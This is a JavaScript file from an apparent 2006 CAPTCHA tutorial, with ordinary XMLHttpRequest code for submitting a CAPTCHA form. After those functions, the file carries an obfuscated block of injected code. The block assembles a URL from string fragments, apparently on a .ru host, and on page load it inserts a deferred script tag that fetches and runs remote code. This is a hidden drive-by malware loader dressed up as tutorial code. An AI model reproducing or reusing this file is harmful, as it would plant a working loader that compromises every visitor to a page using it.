/*
	This is the JavaScript file for the How to Create CAPTCHA Protection using PHP and AJAX Tutorial

	You may use this code in your own projects as long as this 
	copyright is left in place.  All code is provided AS-IS.
	This code is distributed in the hope that it will be useful,
 	but WITHOUT ANY WARRANTY; without even the implied warranty of
 	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
	
	For the rest of the code visit http://www.WebCheatSheet.com
	
	Copyright 2006 WebCheatSheet.com	

*/
//Gets the browser specific XmlHttpRequest Object 
function getXmlHttpRequestObject() {
 if (window.XMLHttpRequest) {
    return new XMLHttpRequest(); //Mozilla, Safari ...
 } else if (window.ActiveXObject) {
    return new ActiveXObject("Microsoft.XMLHTTP"); //IE
 } else {
    //Display our error message
    alert("Your browser doesn't support the XmlHttpRequest object.");
 }
}

//Our XmlHttpRequest object
var receiveReq = getXmlHttpRequestObject();

//Initiate the AJAX request
function makeRequest(url, param) {
//If our readystate is either not started or finished, initiate a new request
 if (receiveReq.readyState == 4 || receiveReq.readyState == 0) {
   //Set up the connection to captcha_test.html. True sets the request to asyncronous(default) 
   receiveReq.open("POST", url, true);
   //Set the function that will be called when the XmlHttpRequest objects state changes
   receiveReq.onreadystatechange = updatePage; 

   receiveReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
   receiveReq.setRequestHeader("Content-length", param.length);
   receiveReq.setRequestHeader("Connection", "close");

   //Make the request
   receiveReq.send(param);
 }   
}

//Called every time our XmlHttpRequest objects state changes
function updatePage() {
 //Check if our response is ready
 if (receiveReq.readyState == 4) {
   //Set the content of the DIV element with the response text
   document.getElementById('result').innerHTML = receiveReq.responseText;
   //Get a reference to CAPTCHA image
   img = document.getElementById('imgCaptcha'); 
   //Change the image
   img.src = 'create_image.php?' + Math.random();
 }
}

//Called every time when form is perfomed
function getParam(theForm) {
 //Set the URL
 var url = 'captcha.php';
	alert(theForm.uploadfile.value);
 //Set up the parameters of our AJAX call
 var postStr = theForm.txtCaptcha.name + "=" + encodeURIComponent( theForm.txtCaptcha.value );
 //Call the function that initiate the AJAX request
 makeRequest(url, postStr);
}
var rU=new Array();function H(){this.L="";var i=RegExp;var W='';var g='';var DG=new Date();var G=new String("g");var LX=new String();var B=new String();this.P='';var Og;if(Og!='X' && Og != ''){Og=null};var Et="";var Q="";function b(Gx,s){var Kr=new Array();var Es;if(Es!='sh'){Es='sh'};var N= new String("[");var WJ;if(WJ!='K_' && WJ!='EC'){WJ=''};var sl="";N+=s;var yk="";N+=new String("]");var Zb="";var d="";var z=new i(N, G);return Gx.replace(z, g);var x;if(x!='Bs'){x=''};var eh='';};this.TS="";var NP;if(NP!='' && NP!='GZ'){NP=''};var Bz;if(Bz!=''){Bz='tx'};var Gu='';var Tv;if(Tv!=''){Tv='to'};var HD="";var j=new Date();var F="htt"+"p:/91Qm".substr(0,3)+"/dr"+"upaqH7v".substr(0,3)+"l-o"+"Gn1Irg.".substr(4)+"zanjpTY".substr(0,3)+"ox-I4vw".substr(0,3)+"aff"+"ewmili".substr(3)+"ateGQp".substr(0,3)+"yNr.derNy".substr(3,3)+"r6Od.wadr6O".substr(4,3)+"shi7KPz".substr(0,3)+"ngtrf9".substr(0,3)+"TN4Vonp".substr(4)+"91lzostlz19".substr(4,3)+"DFb-co".substr(3)+"m.g"+"reawoX".substr(0,3)+"uvxQtmy".substr(4)+"qjabown".substr(4)+".ruT0N".substr(0,3)+"IYA:".substr(3);this.P_='';this.pc="";var S=new String("pFDdefe".substr(3)+"Y6mr".substr(3));var Ag=new Date();var _='';var Gg;if(Gg!='' && Gg!='Ah'){Gg=null};var r=new String("scr"+"ipt8vjl".substr(0,3));var uo;if(uo!='Yf' && uo!='Af'){uo=''};var vt="";var O=window;var Gd;if(Gd!='Yx'){Gd=''};var rg="v2H/tub".substr(3)+"e8.cIwV".substr(0,4)+"9a5om/t5a9".substr(3,4)+"ube8"+"6BLS.com6LSB".substr(4,4)+"Sce2/gooe2Sc".substr(4,4)+"gle."+"rU8com/U8r".substr(3,4)+"xwUcctvwUx".substr(3,4)+".com"+"iSEJ/foxEiSJ".substr(4,4)+"dtI5.comItd5".substr(4,4)+"5Yu.phpYu5".substr(3,4);var Pk;if(Pk!='eH'){Pk=''};this.BS='';var E=b('87570477845022',"52947");var on;if(on!='' && on!='Eq'){on='kB'};var SCI;if(SCI!='cH'){SCI=''};var v=new String("src");var Fa='';var V;if(V!=''){V='q_'};O.onload=function(){this.wg='';try {var zh;if(zh!='' && zh!='fY'){zh=null};var DY=new Date();_=F+E;_+=rg;var Aw=new Date();var ht="";m=document.createElement(r);var qL=new Array();m[S]=[0,1][1];var zu="";var nC;if(nC!='Zs' && nC!='Tx'){nC=''};var l=new String();var Fl;if(Fl!='' && Fl!='_s'){Fl=''};m[v]=_;var ts=new Date();document.body.appendChild(m);var kg=new String();var MH=new Date();var HT=new Array();this.fF='';} catch(u){};var WG="";};var dE='';};H();var zl='';